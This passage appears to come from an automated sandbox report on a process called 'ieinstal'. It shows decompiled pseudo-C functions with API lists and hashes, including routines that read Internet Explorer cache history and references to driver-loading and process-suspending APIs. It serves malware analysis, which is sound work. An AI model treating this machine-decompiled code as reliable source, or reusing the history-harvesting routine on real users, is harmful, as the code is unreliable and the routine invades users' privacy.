                                                                                                                            • String ID: NtLoadDriver$NtOpenSymbolicLinkObject$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeProcess$NtSuspendProcess$NtUnloadDriver$ntdll.dll
                                                                                                                            • API String ID: 667068680-2887671607
                                                                                                                            • Opcode ID: 57b3ef5f97466978e1990f74adf29af07ff290b7ce4571feabf87054e0031f76
                                                                                                                            • Instruction ID: 8dd6b0f06cc06780b82abcfa5335c49c30c65db347d43124f897848efd9f6b7c
                                                                                                                            • Opcode Fuzzy Hash: 57b3ef5f97466978e1990f74adf29af07ff290b7ce4571feabf87054e0031f76
                                                                                                                            • Instruction Fuzzy Hash: 8C015E75D48324AACB339F75AD09A053FB1EF04797B1004B7A80492266DAF9815CDE4C
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040FB5D Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 185COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 69%
                                                                                                                            			E0040FB5D(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void _v138;
				long _v140;
				void _v242;
				char _v244;
				void _v346;
				char _v348;
				void _v452;
				void _v962;
				signed short _v964;
				void* __esi;
				void* _t87;
				wchar_t* _t109;
				intOrPtr* _t124;
				signed int _t125;
				signed int _t140;
				signed int _t153;
				intOrPtr* _t154;
				signed int _t156;
				signed int _t157;
				void* _t159;
				void* _t161;

				_t124 = __ebx;
				_v964 = _v964 & 0x00000000;
				memset( &_v962, 0, 0x1fc);
				_t125 = 0x18;
				memcpy( &_v452, 0x453528, _t125 << 2);
				asm("movsw");
				_t153 = 0;
				_v244 = 0;
				memset( &_v242, 0, 0x62);
				_v348 = 0;
				memset( &_v346, 0, 0x62);
				_v140 = 0;
				memset( &_v138, 0, 0x62);
				_t161 = _t159 + 0x3c;
				_t87 =  *((intOrPtr*)( *__ebx + 0x14))();
				_v16 =  *((intOrPtr*)(__ebx + 0x318));
				if(_t87 != 0xffffffff) {
					0x4465cc( &_v244, 0x32, " bgcolor="%s"", E00414E4E(_t87,  &_v964));
					_t161 = _t161 + 0x18;
				}
				E0040F728(_t124, _a4, "<table border="1" cellpadding="5">");
				_v8 = _t153;
				if( *((intOrPtr*)(_t124 + 0x28)) > _t153) {
					while(1) {
						_t156 =  *( *((intOrPtr*)(_t124 + 0x2c)) + _v8 * 4);
						_v12 = _t156;
						_t157 = _t156 * 0x14;
						if( *((intOrPtr*)(_t157 +  *((intOrPtr*)(_t124 + 0x3c)) + 8)) != _t153) {
							wcscpy( &_v140, " nowrap");
						}
						_v32 = _v32 | 0xffffffff;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _t153;
						_t154 = _a8;
						 *((intOrPtr*)( *_t124 + 0x34))(6, _v8, _t154,  &_v32);
						E00414E4E(_v32,  &_v348);
						E00414E7F( *((intOrPtr*)( *_t154))(_v12,  *((intOrPtr*)(_t124 + 0x5c))),  *(_t124 + 0x60));
						 *((intOrPtr*)( *_t124 + 0x54))( *(_t124 + 0x60), _t154, _v12);
						if( *((intOrPtr*)( *_t124 + 0x18))() == 0xffffffff) {
							wcscpy( *(_t124 + 0x64),  *(_t157 + _v16 + 0x10));
						} else {
							0x4465cc( *(_t124 + 0x64), 0x2000, "<font color="%s">%s</font>", E00414E4E(_t106,  &_v964),  *(_t157 + _v16 + 0x10));
							_t161 = _t161 + 0x14;
						}
						_t109 =  *(_t124 + 0x60);
						_t140 =  *_t109 & 0x0000ffff;
						if(_t140 == 0 || _t140 == 0x20) {
							wcscat(_t109, "&nbsp;");
						}
						E00414F1E( &_v32,  *((intOrPtr*)(_t124 + 0x68)),  *(_t124 + 0x60));
						0x4465cc( *((intOrPtr*)(_t124 + 0x5c)), 0x2000,  &_v452,  &_v244,  *(_t124 + 0x64),  &_v348,  &_v140,  *((intOrPtr*)(_t124 + 0x68)));
						_t161 = _t161 + 0x28;
						E0040F728(_t124, _a4,  *((intOrPtr*)(_t124 + 0x5c)));
						_v8 = _v8 + 1;
						if(_v8 >=  *((intOrPtr*)(_t124 + 0x28))) {
							goto L14;
						}
						_t153 = 0;
					}
				}
				L14:
				E0040F728(_t124, _a4, "</table><p>");
				return E0040F728(_t124, _a4, 0x44e5fc);
			}































                                                                                                                            0x0040fb5d
                                                                                                                            0x0040fb66
                                                                                                                            0x0040fb7e
                                                                                                                            0x0040fb85
                                                                                                                            0x0040fb91
                                                                                                                            0x0040fb93
                                                                                                                            0x0040fb95
                                                                                                                            0x0040fba1
                                                                                                                            0x0040fba8
                                                                                                                            0x0040fbb7
                                                                                                                            0x0040fbbe
                                                                                                                            0x0040fbcd
                                                                                                                            0x0040fbd4
                                                                                                                            0x0040fbdb
                                                                                                                            0x0040fbe0
                                                                                                                            0x0040fbec
                                                                                                                            0x0040fbef
                                                                                                                            0x0040fc0d
                                                                                                                            0x0040fc12
                                                                                                                            0x0040fc12
                                                                                                                            0x0040fc1f
                                                                                                                            0x0040fc27
                                                                                                                            0x0040fc2a
                                                                                                                            0x0040fc34
                                                                                                                            0x0040fc3a
                                                                                                                            0x0040fc40
                                                                                                                            0x0040fc43
                                                                                                                            0x0040fc4a
                                                                                                                            0x0040fc58
                                                                                                                            0x0040fc5e
                                                                                                                            0x0040fc61
                                                                                                                            0x0040fc65
                                                                                                                            0x0040fc69
                                                                                                                            0x0040fc71
                                                                                                                            0x0040fc74
                                                                                                                            0x0040fc7f
                                                                                                                            0x0040fc8c
                                                                                                                            0x0040fca2
                                                                                                                            0x0040fcb2
                                                                                                                            0x0040fcbf
                                                                                                                            0x0040fcf9
                                                                                                                            0x0040fcc1
                                                                                                                            0x0040fce5
                                                                                                                            0x0040fcea
                                                                                                                            0x0040fcea
                                                                                                                            0x0040fd00
                                                                                                                            0x0040fd03
                                                                                                                            0x0040fd09
                                                                                                                            0x0040fd17
                                                                                                                            0x0040fd1d
                                                                                                                            0x0040fd27
                                                                                                                            0x0040fd56
                                                                                                                            0x0040fd5b
                                                                                                                            0x0040fd66
                                                                                                                            0x0040fd6b
                                                                                                                            0x0040fd74
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040fc32
                                                                                                                            0x0040fc32
                                                                                                                            0x0040fc34
                                                                                                                            0x0040fd7a
                                                                                                                            0x0040fd84
                                                                                                                            0x0040fd9b

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _snwprintfmemset$wcscpy$wcscat
                                                                                                                            • String ID: bgcolor="%s"$ nowrap$&nbsp;$</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
                                                                                                                            • API String ID: 1607361635-601624466
                                                                                                                            • Opcode ID: 014fce8712d2099ed920d1c21251e5be9fb3fd75ebba54fa6feefa75023380bc
                                                                                                                            • Instruction ID: 75b7dc7a1ab43caf41f6bee0dc73fa500ed8492db64f50ed133d22c14cecb56c
                                                                                                                            • Opcode Fuzzy Hash: 014fce8712d2099ed920d1c21251e5be9fb3fd75ebba54fa6feefa75023380bc
                                                                                                                            • Instruction Fuzzy Hash: 09619F71900208BFDF25EF54CC86EAE7BB9FF44310F1040AAF805A7296DB399A59CB55
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041019A Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 122COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 40%
                                                                                                                            			E0041019A(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, char _a16, char _a20, intOrPtr _a24) {
				void _v514;
				char _v516;
				void _v1026;
				long _v1028;
				void _v1538;
				char _v1540;
				void _v2050;
				char _v2052;
				char _v2564;
				char _v35332;
				char _t50;
				intOrPtr* _t53;
				intOrPtr* _t71;
				void* _t79;
				void* _t80;
				void* _t81;
				void* _t82;

				0x44db70();
				_v2052 = 0;
				memset( &_v2050, 0, 0x1fc);
				_v1540 = 0;
				memset( &_v1538, 0, 0x1fc);
				_v1028 = 0;
				memset( &_v1026, 0, 0x1fc);
				_t80 = _t79 + 0x24;
				if(_a20 != 0xffffffff) {
					0x4465cc( &_v2052, 0xff, " bgcolor="%s"", E00414E4E(_a20,  &_v2564));
					_t80 = _t80 + 0x18;
				}
				if(_a24 != 0xffffffff) {
					0x4465cc( &_v1540, 0xff, "<font color="%s">", E00414E4E(_a24,  &_v2564));
					wcscpy( &_v1028, "</font>");
					_t80 = _t80 + 0x20;
				}
				0x4465cc( &_v35332, 0x3fff, "<table border="1" cellpadding="5"><tr%s>",  &_v2052);
				_t81 = _t80 + 0x10;
				E0040F728(_a4, _a8,  &_v35332);
				_t50 = _a16;
				if(_t50 > 0) {
					_t71 = _a12 + 4;
					_a20 = _t50;
					do {
						_v516 = 0;
						memset( &_v514, 0, 0x1fc);
						_t53 =  *_t71;
						_t82 = _t81 + 0xc;
						if( *_t53 == 0) {
							_v516 = 0;
						} else {
							0x4465cc( &_v516, 0xff, " width="%s"", _t53);
							_t82 = _t82 + 0x10;
						}
						0x4465cc( &_v35332, 0x3fff, "<th%s>%s%s%s",  &_v516,  &_v1540,  *((intOrPtr*)(_t71 - 4)),  &_v1028);
						_t81 = _t82 + 0x1c;
						_t50 = E0040F728(_a4, _a8,  &_v35332);
						_t71 = _t71 + 8;
						_t36 =  &_a20;
						 *_t36 = _a20 - 1;
					} while ( *_t36 != 0);
				}
				return _t50;
			}




















                                                                                                                            0x004101a2
                                                                                                                            0x004101b9
                                                                                                                            0x004101c0
                                                                                                                            0x004101ce
                                                                                                                            0x004101d5
                                                                                                                            0x004101e3
                                                                                                                            0x004101ea
                                                                                                                            0x004101ef
                                                                                                                            0x004101f6
                                                                                                                            0x00410219
                                                                                                                            0x0041021e
                                                                                                                            0x0041021e
                                                                                                                            0x00410225
                                                                                                                            0x00410248
                                                                                                                            0x00410259
                                                                                                                            0x0041025e
                                                                                                                            0x0041025e
                                                                                                                            0x00410279
                                                                                                                            0x0041027e
                                                                                                                            0x0041028e
                                                                                                                            0x00410293
                                                                                                                            0x00410298
                                                                                                                            0x004102a2
                                                                                                                            0x004102a5
                                                                                                                            0x004102a8
                                                                                                                            0x004102b1
                                                                                                                            0x004102b8
                                                                                                                            0x004102bd
                                                                                                                            0x004102bf
                                                                                                                            0x004102c5
                                                                                                                            0x004102e3
                                                                                                                            0x004102c7
                                                                                                                            0x004102d9
                                                                                                                            0x004102de
                                                                                                                            0x004102de
                                                                                                                            0x00410313
                                                                                                                            0x00410318
                                                                                                                            0x00410328
                                                                                                                            0x0041032d
                                                                                                                            0x00410330
                                                                                                                            0x00410330
                                                                                                                            0x00410330
                                                                                                                            0x00410339
                                                                                                                            0x0041033d

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _snwprintf$memset$wcscpy
                                                                                                                            • String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
                                                                                                                            • API String ID: 2000436516-3842416460
                                                                                                                            • Opcode ID: 3adec529592eaa12cbb3371149c11df059df1660bb42a65f2cf1cf9995de4c18
                                                                                                                            • Instruction ID: 0effb7443b15cd0e53e626898d2c9f551e6481245c02f09bcd1282082c9ffe88
                                                                                                                            • Opcode Fuzzy Hash: 3adec529592eaa12cbb3371149c11df059df1660bb42a65f2cf1cf9995de4c18
                                                                                                                            • Instruction Fuzzy Hash: C74163B194021D7AEB20EF55DC46EEB73BCFF45304F0440ABB908A2141E7759B988F66
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004035AD Relevance: 27.1, APIs: 18, Instructions: 93windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 59%
                                                                                                                            			E004035AD(void* __esi) {
				struct HICON__* _t13;
				intOrPtr* _t42;

				E0041083A(__esi);
				_t13 = LoadIconW(GetModuleHandleW(0), 0x72);
				_t42 =  *0x44e024; // 0x7005c400
				 *_t42( *((intOrPtr*)(__esi + 0x29c)), 0, _t13);
				 *_t42( *((intOrPtr*)(__esi + 0x29c)), 1, LoadIconW(GetModuleHandleW(0), 0x74));
				 *_t42( *((intOrPtr*)(__esi + 0x29c)), 2, LoadIconW(GetModuleHandleW(0), 0x73));
				 *_t42( *((intOrPtr*)(__esi + 0x29c)), 3, LoadIconW(GetModuleHandleW(0), 0x75));
				 *_t42( *((intOrPtr*)(__esi + 0x29c)), 4, LoadIconW(GetModuleHandleW(0), 0x6f));
				 *_t42( *((intOrPtr*)(__esi + 0x29c)), 5, LoadIconW(GetModuleHandleW(0), 0x76));
				 *_t42( *((intOrPtr*)(__esi + 0x29c)), 6, LoadIconW(GetModuleHandleW(0), 0x77));
				 *_t42( *((intOrPtr*)(__esi + 0x29c)), 7, LoadIconW(GetModuleHandleW(0), 0x70));
				return  *_t42( *((intOrPtr*)(__esi + 0x29c)), 8, LoadIconW(GetModuleHandleW(0), 0x78));
			}





                                                                                                                            0x004035b2
                                                                                                                            0x004035ca
                                                                                                                            0x004035cc
                                                                                                                            0x004035db
                                                                                                                            0x004035ef
                                                                                                                            0x00403603
                                                                                                                            0x00403617
                                                                                                                            0x0040362b
                                                                                                                            0x0040363f
                                                                                                                            0x00403653
                                                                                                                            0x00403667
                                                                                                                            0x00403680

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0041083A: memset.MSVCRT ref: 0041087D
                                                                                                                              • Part of subcall function 0041083A: memset.MSVCRT ref: 00410892
                                                                                                                              • Part of subcall function 0041083A: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 004108A4
                                                                                                                              • Part of subcall function 0041083A: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 004108C2
                                                                                                                              • Part of subcall function 0041083A: SendMessageW.USER32(?,00001003,00000001,?), ref: 004108FF
                                                                                                                              • Part of subcall function 0041083A: SendMessageW.USER32(?,00001003,00000000,?), ref: 00410936
                                                                                                                              • Part of subcall function 0041083A: GetModuleHandleW.KERNEL32(00000000), ref: 00410951
                                                                                                                              • Part of subcall function 0041083A: LoadImageW.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 00410963
                                                                                                                              • Part of subcall function 0041083A: GetModuleHandleW.KERNEL32(00000000), ref: 0041096E
                                                                                                                              • Part of subcall function 0041083A: LoadImageW.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 00410980
                                                                                                                              • Part of subcall function 0041083A: GetSysColor.USER32(0000000F), ref: 00410999
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 004035BF
                                                                                                                            • LoadIconW.USER32(00000000,00000072), ref: 004035CA
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 004035DF
                                                                                                                            • LoadIconW.USER32(00000000,00000074), ref: 004035E4
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 004035F3
                                                                                                                            • LoadIconW.USER32(00000000,00000073), ref: 004035F8
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 00403607
                                                                                                                            • LoadIconW.USER32(00000000,00000075), ref: 0040360C
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 0040361B
                                                                                                                            • LoadIconW.USER32(00000000,0000006F), ref: 00403620
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 0040362F
                                                                                                                            • LoadIconW.USER32(00000000,00000076), ref: 00403634
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 00403643
                                                                                                                            • LoadIconW.USER32(00000000,00000077), ref: 00403648
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 00403657
                                                                                                                            • LoadIconW.USER32(00000000,00000070), ref: 0040365C
                                                                                                                            • GetModuleHandleW.KERNEL32(00000000), ref: 0040366B
                                                                                                                            • LoadIconW.USER32(00000000,00000078), ref: 00403670
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: HandleLoadModule$Icon$ImageMessageSendmemset$ColorDirectoryFileInfoWindows
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1043902810-0
                                                                                                                            • Opcode ID: ba21586d26ed62a419f919be10df3ed56d69a9ff92c9ff52d971427a1ca70114
                                                                                                                            • Instruction ID: 42406aa8c1b655767e81280a563d2f976f29c17d6cb42a8b032fada3297a07e5
                                                                                                                            • Opcode Fuzzy Hash: ba21586d26ed62a419f919be10df3ed56d69a9ff92c9ff52d971427a1ca70114
                                                                                                                            • Instruction Fuzzy Hash: B1212EA0B857087AF63137B2DC4BF7B7A5EDF81B89F214410F35C990E0C9E6AC108929
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040E2AB Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 165COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 89%
                                                                                                                            			E0040E2AB(void* __ecx, void* __edx, void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v12;
				intOrPtr _v16;
				int _v20;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				int _v48;
				int _v52;
				int _v56;
				char _v60;
				intOrPtr _v68;
				wchar_t* _v72;
				void _v80;
				void _v88;
				void _v96;
				void _v104;
				void _v108;
				char _v112;
				char _v1472;
				void* __edi;
				void* __esi;
				void* _t56;
				void* _t68;
				signed int _t71;
				intOrPtr _t74;
				intOrPtr _t75;
				intOrPtr _t76;
				intOrPtr _t77;
				intOrPtr _t78;
				intOrPtr _t79;
				wchar_t* _t80;
				wchar_t* _t99;
				wchar_t* _t100;
				void* _t103;
				void* _t110;
				int _t113;
				void* _t120;

				_t110 = __edx;
				_t103 = __ecx;
				E0040695D( &_v1472);
				_t56 = E00406B90(_t103, _t110,  &_v1472, _a12, _a8);
				_t122 = _t56;
				if(_t56 == 0) {
					L27:
					return E004069A3( &_v1472);
				} else {
					_t113 = 0;
					_v16 = 0x20;
					_v24 = 0;
					_v12 = 0;
					_v20 = 0;
					_v48 = 0;
					_v60 = 0;
					_v56 = 0;
					_v44 = 0x100;
					_v52 = 0;
					L3:
					if(E00406E8F(_t122,  &_v1472,  &_v24) != 0) {
						_t117 =  &_v24;
						_a8 = E0040DD50( &_v24, "AccessCount");
						_v32 = E0040DD50( &_v24, "CreationTime");
						_a12 = E0040DD50( &_v24, "ExpiryTime");
						_v36 = E0040DD50( &_v24, "AccessedTime");
						_v40 = E0040DD50(_t117, "ModifiedTime");
						_t68 = E0040DD50(_t117, "Url");
						_t102 = _t68;
						_v28 = E0040DD50(_t117, "EntryID");
						_t71 = memset( &_v108, _t113, 0x2c);
						_t120 = _t120 + 0xc;
						E0040AA29(_t71 | 0xffffffff,  &_v60, 0x44e518);
						if(_t68 != 0) {
							E0040742E( &_v60, _t102);
							_t99 = _v60;
							_v72 = 0x44e518;
							if(_t99 != 0) {
								_v72 = _t99;
							}
							_t100 = wcschr(_v72, 0x40);
							if(_t100 != 0) {
								_v72 =  &(_t100[0]);
							}
						}
						_t74 = _a8;
						if(_t74 != 0) {
							_v68 =  *((intOrPtr*)(_t74 + 0x220));
						}
						_t75 = _a12;
						if(_t75 != 0) {
							memcpy( &_v80, _t75 + 0x220, 8);
							_t120 = _t120 + 0xc;
						}
						_t76 = _v36;
						if(_t76 != 0) {
							memcpy( &_v88, _t76 + 0x220, 8);
							_t120 = _t120 + 0xc;
						}
						_t77 = _v32;
						if(_t77 != 0) {
							memcpy( &_v104, _t77 + 0x220, 8);
							_t120 = _t120 + 0xc;
						}
						_t78 = _v40;
						if(_t78 != 0) {
							memcpy( &_v96, _t78 + 0x220, 8);
							_t120 = _t120 + 0xc;
						}
						_t79 = _v28;
						if(_t79 != 0) {
							_v112 =  *((intOrPtr*)(_t79 + 0x220));
							_v108 =  *((intOrPtr*)(_t79 + 0x224));
						}
						_t80 = _v72;
						if(_t80 != 0 &&  *_t80 != 0) {
							 *((intOrPtr*)( *_a4))( &_v112);
						}
					}
					if(E00406B53( &_v1472) != 0) {
						_t113 = 0;
						__eflags = 0;
						goto L3;
					}
					E0040AA04( &_v60);
					if(_v24 != 0) {
						0x4466a0(_v24);
					}
					goto L27;
				}
			}











































                                                                                                                            0x0040e2ab
                                                                                                                            0x0040e2ab
                                                                                                                            0x0040e2bd
                                                                                                                            0x0040e2ce
                                                                                                                            0x0040e2d3
                                                                                                                            0x0040e2d5
                                                                                                                            0x0040e4a0
                                                                                                                            0x0040e4af
                                                                                                                            0x0040e2db
                                                                                                                            0x0040e2db
                                                                                                                            0x0040e2dd
                                                                                                                            0x0040e2e4
                                                                                                                            0x0040e2e7
                                                                                                                            0x0040e2ea
                                                                                                                            0x0040e2ed
                                                                                                                            0x0040e2f0
                                                                                                                            0x0040e2f3
                                                                                                                            0x0040e2f6
                                                                                                                            0x0040e2fd
                                                                                                                            0x0040e304
                                                                                                                            0x0040e316
                                                                                                                            0x0040e321
                                                                                                                            0x0040e32e
                                                                                                                            0x0040e33b
                                                                                                                            0x0040e348
                                                                                                                            0x0040e355
                                                                                                                            0x0040e362
                                                                                                                            0x0040e365
                                                                                                                            0x0040e36f
                                                                                                                            0x0040e378
                                                                                                                            0x0040e380
                                                                                                                            0x0040e385
                                                                                                                            0x0040e394
                                                                                                                            0x0040e39b
                                                                                                                            0x0040e3a1
                                                                                                                            0x0040e3a6
                                                                                                                            0x0040e3ab
                                                                                                                            0x0040e3ae
                                                                                                                            0x0040e3b0
                                                                                                                            0x0040e3b0
                                                                                                                            0x0040e3b8
                                                                                                                            0x0040e3c1
                                                                                                                            0x0040e3c6
                                                                                                                            0x0040e3c6
                                                                                                                            0x0040e3c1
                                                                                                                            0x0040e3c9
                                                                                                                            0x0040e3ce
                                                                                                                            0x0040e3d6
                                                                                                                            0x0040e3d6
                                                                                                                            0x0040e3d9
                                                                                                                            0x0040e3de
                                                                                                                            0x0040e3ec
                                                                                                                            0x0040e3f1
                                                                                                                            0x0040e3f1
                                                                                                                            0x0040e3f4
                                                                                                                            0x0040e3f9
                                                                                                                            0x0040e407
                                                                                                                            0x0040e40c
                                                                                                                            0x0040e40c
                                                                                                                            0x0040e40f
                                                                                                                            0x0040e414
                                                                                                                            0x0040e422
                                                                                                                            0x0040e427
                                                                                                                            0x0040e427
                                                                                                                            0x0040e42a
                                                                                                                            0x0040e42f
                                                                                                                            0x0040e43d
                                                                                                                            0x0040e442
                                                                                                                            0x0040e442
                                                                                                                            0x0040e445
                                                                                                                            0x0040e44a
                                                                                                                            0x0040e452
                                                                                                                            0x0040e45b
                                                                                                                            0x0040e45b
                                                                                                                            0x0040e45e
                                                                                                                            0x0040e463
                                                                                                                            0x0040e474
                                                                                                                            0x0040e474
                                                                                                                            0x0040e463
                                                                                                                            0x0040e483
                                                                                                                            0x0040e302
                                                                                                                            0x0040e302
                                                                                                                            0x00000000
                                                                                                                            0x0040e302
                                                                                                                            0x0040e48c
                                                                                                                            0x0040e495
                                                                                                                            0x0040e49a
                                                                                                                            0x0040e49f
                                                                                                                            0x00000000
                                                                                                                            0x0040e495

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                                                                                                                              • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040E49A
                                                                                                                              • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                                                                                                                            • memset.MSVCRT ref: 0040E380
                                                                                                                              • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                                                                                                                              • Part of subcall function 0040AA29: memcpy.MSVCRT ref: 0040AA5B
                                                                                                                            • wcschr.MSVCRT ref: 0040E3B8
                                                                                                                            • memcpy.MSVCRT ref: 0040E3EC
                                                                                                                            • memcpy.MSVCRT ref: 0040E407
                                                                                                                            • memcpy.MSVCRT ref: 0040E422
                                                                                                                            • memcpy.MSVCRT ref: 0040E43D
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy$_wcsicmpmemset$??3@wcschrwcslen
                                                                                                                            • String ID: $AccessCount$AccessedTime$CreationTime$EntryID$ExpiryTime$ModifiedTime$Url
                                                                                                                            • API String ID: 3073804840-2252543386
                                                                                                                            • Opcode ID: 096520a674a6bab575df5dbc744d04c4fa5616f7e231fb41ab5d790b95b66fc2
                                                                                                                            • Instruction ID: 3bb3cf654da2d90f893253d259683e8481abe175d229eeda5eb464894a91a1db
                                                                                                                            • Opcode Fuzzy Hash: 096520a674a6bab575df5dbc744d04c4fa5616f7e231fb41ab5d790b95b66fc2
                                                                                                                            • Instruction Fuzzy Hash: DA512071E00309ABDF10EFA6DC45B9EB7B8AF54305F15443BA904F7291E678AA14CB58
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004447D9 Relevance: 26.4, APIs: 4, Strings: 11, Instructions: 139COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??2@??3@_snwprintfwcscpy
                                                                                                                            • String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
                                                                                                                            • API String ID: 2899246560-1542517562
                                                                                                                            • Opcode ID: e17f1f04e88a4cb48931d1772d94f5796c3f29ffdcb1b521dadae3bcfb684220
                                                                                                                            • Instruction ID: ddb1140ba30d93f946c39142265044aeba6ebe712c4753dd77c76fa61262b17a
                                                                                                                            • Opcode Fuzzy Hash: e17f1f04e88a4cb48931d1772d94f5796c3f29ffdcb1b521dadae3bcfb684220
                                                                                                                            • Instruction Fuzzy Hash: 434127B2900218BAD704EFA1DC82DDEB7BCBF49305B110167BD05B3152DB78A655CBE8
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040DBA7 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 95COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 85%
                                                                                                                            			E0040DBA7(void* __eflags, struct HINSTANCE__* _a4, wchar_t* _a8) {
				void _v530;
				char _v532;
				void _v1042;
				long _v1044;
				long _v4116;
				char _v5164;
				char* _t25;
				void* _t36;
				void* _t40;
				void* _t46;
				void* _t51;

				0x44db70();
				_v1044 = 0;
				memset( &_v1042, 0, 0x1fc);
				_v532 = 0;
				memset( &_v530, 0, 0x208);
				E00409BCA( &_v532);
				E0040D05A( &_v5164);
				_t25 =  &_v532;
				0x4447d9(_t25, _t46, _t51, _t40);
				if(_t25 != 0) {
					wcscpy( &_v1044,  &_v4116);
				}
				wcscpy(0x45d458, _a8);
				wcscpy(0x45d668, "general");
				E0040D6F5("TranslatorName", 0x44e518, 0);
				E0040D6F5("TranslatorURL", 0x44e518, 0);
				E0040D6F5("Version",  &_v1044, 1);
				E0040D6F5("RTL", 0x453244, 0);
				EnumResourceNamesW(_a4, 4, E0040D957, 0);
				EnumResourceNamesW(_a4, 5, E0040D957, 0);
				wcscpy(0x45d668, "strings");
				_t36 = E0040DA80(_a4);
				 *0x45d458 =  *0x45d458 & 0x00000000;
				return _t36;
			}














                                                                                                                            0x0040dbaf
                                                                                                                            0x0040dbc6
                                                                                                                            0x0040dbcd
                                                                                                                            0x0040dbe2
                                                                                                                            0x0040dbe9
                                                                                                                            0x0040dbf8
                                                                                                                            0x0040dc04
                                                                                                                            0x0040dc09
                                                                                                                            0x0040dc16
                                                                                                                            0x0040dc1d
                                                                                                                            0x0040dc2d
                                                                                                                            0x0040dc33
                                                                                                                            0x0040dc3c
                                                                                                                            0x0040dc4c
                                                                                                                            0x0040dc5d
                                                                                                                            0x0040dc6e
                                                                                                                            0x0040dc84
                                                                                                                            0x0040dc97
                                                                                                                            0x0040dcb1
                                                                                                                            0x0040dcbb
